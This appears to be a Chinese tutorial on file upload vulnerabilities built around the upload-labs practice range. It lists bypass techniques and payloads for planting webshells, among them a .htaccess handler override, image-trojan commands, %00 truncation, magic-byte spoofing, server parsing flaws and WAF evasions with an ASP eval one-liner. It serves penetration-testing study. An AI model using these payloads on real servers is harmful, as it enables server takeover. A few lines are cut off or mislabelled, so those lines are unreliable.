文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种漏洞是getShell最快最直接的方法之一。
常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
配置项 | 配置 | 描述 |
---|---|---|
操作系统 | Window or Linux | 推荐使用Windows,除了Pass-19必须在linux下,其余Pass都可以在Windows上运行 |
PHP版本 | 推荐5.2.17 | 其他版本可能会导致部分Pass无法突破 |
PHP组件 | php_gd2,php_exif | 部分Pass依赖这两个组件 |
中间件 | 设置Apache以moudel方式连接 |
项目提供了一个Windows下,按照以上配置要求配置好的集成环境
下载地址:https://github.com/c0ny1/upload-labs/releases
集成环境绿色免安装,解压即可使用。
创建镜像
$ cd upload-labs/docker
$ docker build -t upload-labs .
或者
$ docker pull c0ny1/upload-labs
创建容器
$ docker run -d -p 80:80 upload-labs:latest
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名是否合法,有白名单和黑名单两种形式。
黑名单处理过滤了文件后缀,我们可以通过特殊可解析后缀进行绕过。
jsp jspx jspf
asp asa cer aspx
php1 php2 php3 php4 phtml
exe exee
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
利用代码如下
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
通过.htaccess文件,调用php的解析器解析一个文件名只要包含“shell”这个字符串的任意文件。这个“shell”的内容如果是一句话木马,就可以利用中国菜刀进行连接。
.htaccess可以用notepad++创建保存
也可以利用图片马上传,生成图片马的cmd命令如下
copy 1.jpg/b + 1.php/a 2.jpg
漏洞意义
黑名单没有没有对限制的文件名大小写进行统一。比如过滤了php,则可以用Php、pHP、PHP、pHp等方式绕过。
黑名单没有对文件中的空格进行处理,可在后缀名中加空格绕过。
用Burp抓包,在 filename 参数双引号内,文件名后面,加空格绕过。
filename="1.PHP "
windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过
filename="1.PHP."
同windows特性,同样用Burp抓包 ,然在文件后缀名中加::$DATA
绕过
filename="1.PHP::$DATA"
源代码中,没有对文件名末尾的点符号进行绕过,并且把处理过的文件名拼接到路径中。
可以构造文件名1.PHP. .
(点+空格+点),经过处理后,文件名变成1.PHP.
,即可绕过。
采用双写绕过,例如:1.pphphp、1.jsjspp
burp抓包修改即可绕过,上传一个php文件,然后将 Content-type
后的内容改为合法格式,如图片类型的:image/jpeg
Content-type: image/jpeg
Content-type: application/octet-stream
代码中,文件路径采用字符串拼接的方式,因此可以利用%00截断绕过
用Burp抓包,在数据包第一行的url请求文件名后加上%00,抓包后的数据包第一行修改如下
POST /Pass-11/index.php?save_path=../upload/1.php%00
然后直接访问/upload/1.php即可
通过post传进来的,在还是利用00截断,用Burp抓包,在二进制中找到文件名,在文件名后的位置的二进制数值进行修改为00,因为post不会像get对%00进行自动解码。
接下来访问上传的文件路径即可
用Burp抓包,在数据包filename的参数中对文件名后缀回车,如下:
filename="shell.ph
p"
主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,
要绕过jpg 文件幻数检测就要在文件开头写上下图的值:
FF D8 FF E0 00 10 4A 46 49 46
要绕过gif 文件幻数检测就要在文件开头写上下图的值:
47 49 46 38 39 61
要绕过png 文件幻数检测就要在文件开头写上下面的值:
89 50 4E 47
要绕过gif 文件幻数检测就要在文件开头写上下图的值:
50 4B 03 04
然后在文件幻数后面加上自己的一句话木马代码就行了
图像文件相关信息检测常用的就是getimagesize()函数
只需要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息
有点像下面的结构
GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
图片马绕过
copy normal.jpg /b + shell.php /a webshell.jpg
可以用图像处理软件对一张图片进行代码注入
用winhex 看数据可以分析出这类工具的原理是
在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区
对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的
imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了
得去找图片经过GD库转化后没有改变的部分,再将未改变的部分修改为相应的php代码。
先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,然后不断尝试访问webshell。
IS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
文件解析
;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件了。 解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo
,而这并不是nginx或者iis7.5本身的漏洞。
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.qwe.asd
“.qwe
”和”.asd
” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd
解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
修复方案
.php.*
这类文件,打开apache的httpd.conf找到LoadModule rewritemodule modules/modrewrite.so 把#
号去掉,重启apache,在网站根目录下建立.htaccess文件<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME
。
当访问 www.xx.com/phpinfo.jpg/1.php
这个URL时, $fastcgi_script_name
会被设置为 “phpinfo.jpg/1.php
”,然后构造成 SCRIPT_FILENAME
传递给PHP CGI.
但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPTFILENAME
是phpinfo.jpg,而1.php是PATHINFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg %00.php
www.xxxx.com/UploadFiles/image/1.jpg/ %20.php
另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
针对早期版本安全狗,可以多加一个filename
或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
删除实体里面的Conten-Type字段
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除Content-Disposition字段里的空格
增加一个空格导致安全狗被绕过案列:
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小写
Boundary边界不一致
每次文件上传时的Boundary边界都是一致的:
Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨: Win2k3 + IIS6.0 + ASP
文件名处回车
多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 + IIS7.0 + PHP
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过
文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg